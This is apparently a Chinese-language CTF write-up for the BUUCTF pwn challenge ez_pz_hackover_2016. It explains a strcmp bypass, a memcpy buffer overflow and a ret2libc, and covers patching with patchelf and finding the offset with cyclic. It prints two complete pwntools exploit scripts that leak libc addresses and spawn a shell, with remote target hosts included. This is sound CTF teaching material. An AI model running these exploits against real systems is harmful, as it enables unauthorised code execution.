0x01:前言

vc哥通过这题给我讲解了很多pwn题的细节,通过写这题的wp简单的记录一下,题目本身一个strcmp绕过+ret2libc

0x02:题目分析

check:
图片没有NX?ida看看吧:
图片跟进header():
图片继续往下看:
图片可以看到fgets()但是读取的长度不足以溢出,继续往下看,发现有个vuln函数,跟进:
图片发现memcpy()且第三个参数很大,可以溢出,那么我们要构造的payload就是先绕过chall()函数里面的strcmp(),最后做个ret2libc:

printf_got=elf.got['printf']
printf_plt=elf.plt['printf']
chall_addr=0x08048603

payload=b'crashme\x00'+b'a'*(0x32+4-8)+p32(printf_plt)+p32(chall_addr)+p32(printf_got)
debug()
sla('> ',payload)

这里的字符串偏移就先按ida中能看到的来, 实际上这里有个坑, 我们之后再回来看, 接下来就是老样子做ret2libc:

ru('Welcome crashme!\n')
printf_addr=uu32(r(4))
leak('printf_addr')

libc_base=printf_addr-libc.sym['printf']
leak('libc_base')

system_addr,bin_sh_addr=get_sb()
payload=b'crashme\x00'+b'a'*(0x32+4-8)+p32(system_addr)+b'aaaa'+p32(bin_sh_addr)

完整exp:

from pwn import *
from ctypes import *

context(log_level = 'debug', arch = 'i386', os = 'linux')
elf=ELF('/mnt/c/Users/Z2023/Desktop/ez_pz_hackover_2016')
libc=ELF('/mnt/c/Users/Z2023/Desktop/libc-2.23.so')

choice = 0 #打远程时改成1
if choice:
port=25377
buuctf='node5.buuoj.cn'
polar='1.95.36.136'
p = remote(buuctf,port) #打远程时修改ip和端口
else:
p = process('/mnt/c/Users/Z2023/Desktop/ez_pz_hackover_2016')

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)
pause()

printf_got=elf.got['printf']
printf_plt=elf.plt['printf']
chall_addr=0x08048603

payload=b'crashme\x00'+b'a'*(0x32+4-8)+p32(printf_plt)+p32(chall_addr)+p32(printf_got)
debug()
sla('> ',payload)

ru('Welcome crashme!\n')
printf_addr=uu32(r(4))
leak('printf_addr')

libc_base=printf_addr-libc.sym['printf']
leak('libc_base')

system_addr,bin_sh_addr=get_sb()
payload=b'crashme\x00'+b'a'*(0x32+4-8)+p32(system_addr)+b'aaaa'+p32(bin_sh_addr)

sla('> ',payload)

itr()

乍一看貌似没问题, 但是一运行就打不通了, 这是为什么呢, 原来是笔者从来没有思考过patch这个问题, 一直以来本地都没有打成功过, 这里还是简单记录一下如何patch:

0x03: patchelf 使用

通常来说, 如果exp能打通的话, 我们可以通过泄露出来的printf_got的地址去找到程序依赖的libc版本, 但是buuctf非常好人直接给我们了, 所以我们还需要找到对应的ldd, 如何找:

strings libc-2.23.so | grep 'ubuntu'

看一下输出:

GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11) stable release version 2.23, by Roland McGrath et al.
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

可以看到(Ubuntu GLIBC 2.23-0ubuntu11), 现在去到glibc-all-in-one:

cd ~/glibc-all-in-one

然后:

cat list

图片找到对应版本的glibc库2.23-0ubuntu11.3_i386, 使用以下命令来下载:

./down 2.23-0ubuntu11.3_i386

图片笔者这里先前已经下载过了, 所以报错, 但问题不大, 对应的ldd文件会下载到glibc-all-in-one目录下的libs目录中图片接下来就是patch了, 回到程序所在目录, 使用一条命令替换路径:

# 用法
patchelf --set-interpreter 新ld文件路径 --set-rpath libc所在目录 程序名

题外话, 我们可以看一下2.23-0ubuntu11.3_i386里面有什么:
图片原来我们需要的ld文件就在这里, libc应该也在这里
接下来则是 patch ,也就是:

patchelf --set-interpreter ~/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ld-2.23.so --set-rpath /mnt/c/Users/Z2023/Desktop /mnt/c/Users/Z2023/Desktop/ez_pz_hackover_2016

这里的libc使用桌面的或者download下来的都可以, patch后使用ldd命令查看是否成功:
图片可以看到libc和ldd都被替换成我们想要的了, 接下来就可以跑一下刚刚写好的exp

0x04: 偏移出错

顺便加上debug()看一下:
图片可以看到出问题了, 一眼看过去貌似是a太多了? 导致直接覆盖掉ebp和ret了, 也就是说我们偏移出了问题, 这时我们要用cyclic来准确计算偏移:

cyclic 100

生成, 然后在fgets那里发送, 进入pwndbg查看出错地址:
图片随后输入:

cyclic -l 0x61666161

即可得到正确的偏移:
图片正确的偏移应该是18, 稍微修改一下exp:

from pwn import *
from ctypes import *

context(log_level = 'debug', arch = 'i386', os = 'linux')
elf=ELF('/mnt/c/Users/Z2023/Desktop/ez_pz_hackover_2016')
libc=ELF('/mnt/c/Users/Z2023/Desktop/libc-2.23.so')

choice = 0 #打远程时改成1
if choice:
port=25377
buuctf='node5.buuoj.cn'
polar='1.95.36.136'
p = remote(buuctf,port) #打远程时修改ip和端口
else:
p = process('/mnt/c/Users/Z2023/Desktop/ez_pz_hackover_2016')

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)
pause()

printf_got=elf.got['printf']
printf_plt=elf.plt['printf']
chall_addr=0x08048603

payload=b'crashme\x00'+b'a'*(18)+p32(printf_plt)+p32(chall_addr)+p32(printf_got)
debug()
sla('> ',payload)

ru('Welcome crashme!\n')
printf_addr=uu32(r(4))
leak('printf_addr')

libc_base=printf_addr-libc.sym['printf']
leak('libc_base')

system_addr,bin_sh_addr=get_sb()
payload=b'crashme\x00'+b'a'*(18)+p32(system_addr)+b'aaaa'+p32(bin_sh_addr)

sla('> ',payload)

itr()

尝试一下, 本地能通, 本题结束